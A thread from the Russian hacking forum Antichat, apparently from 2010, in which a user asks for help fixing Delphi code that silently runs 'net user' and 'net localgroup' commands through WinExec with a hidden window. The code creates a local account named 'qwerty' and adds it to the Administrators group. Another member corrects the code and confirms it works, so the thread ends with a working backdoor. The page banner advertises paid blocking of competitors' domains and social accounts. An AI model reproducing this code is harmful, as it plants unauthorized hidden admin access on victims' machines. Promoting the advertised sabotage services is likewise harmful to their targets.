Помогите с дельфином

УСТРАНЕНИЕ КОНКУРЕНТОВ. БЛОКИРОВКА ДОМЕНОВ, БЛОКИРОВКА ИНСТАГРАМ/ТЕЛЕГРАМ И ДРУГОЕ. ПРОВЕРЕННЫЙ СЕЛЛЕР.

НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ

Скрыть

		ANTICHAT > ПРОГРАММИРОВАНИЕ > С/С++, C#, Rust, Swift, Go, Java, Perl, Ruby
Помогите с дельфином

Опции темы

Поиск в этой теме

Опции просмотра

Помогите с дельфином

27.03.2010, 11:14

Axeee

Новичок

Регистрация: 27.11.2008

Сообщений: 23

С нами: 9186833

Репутация: 3

Помогите с дельфином

Выдает ошибку константы.. при замене на реал, выдает уже на s1 в самом начале..

Пишет :

[Error] Unit1.pas(34): Statement expected but 'CONST' found

вот собственно сам код :

Цитата:

begin
const
s1 : pchar = 'net user qwerty 123 /add ';
const
s2 : pchar = 'net localgroup "Администраторы" qwerty /add';
end;

begin
WinExec(s1, SW_HIDE);
WinExec(s2, SW_HIDE);

или подскажите рабочий код добавления и скрытия учетки в группу администраторы..

𝕏 Twitter Reddit Telegram Копировать ссылку

Последний раз редактировалось Axeee; 27.03.2010 в 11:16..

27.03.2010, 13:20

..::TROYAN::..

Участник форума

Регистрация: 22.05.2008

Сообщений: 158

С нами: 9459019

Репутация: 348

omg....

Цитата:

const
s1 : pchar = 'net user qwerty 123 /add ';
s2 : pchar = 'net localgroup "Администраторы" qwerty /add';
begin
WinExec(s1, SW_HIDE);
WinExec(s2, SW_HIDE);
end;

так будет работать

27.03.2010, 15:08

Axeee

Новичок

Регистрация: 27.11.2008

Сообщений: 23

С нами: 9186833

Репутация: 3

тему можно закрывать, спасибо за ответ !

Предыдущая тема Следующая тема

Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)

Быстрый переход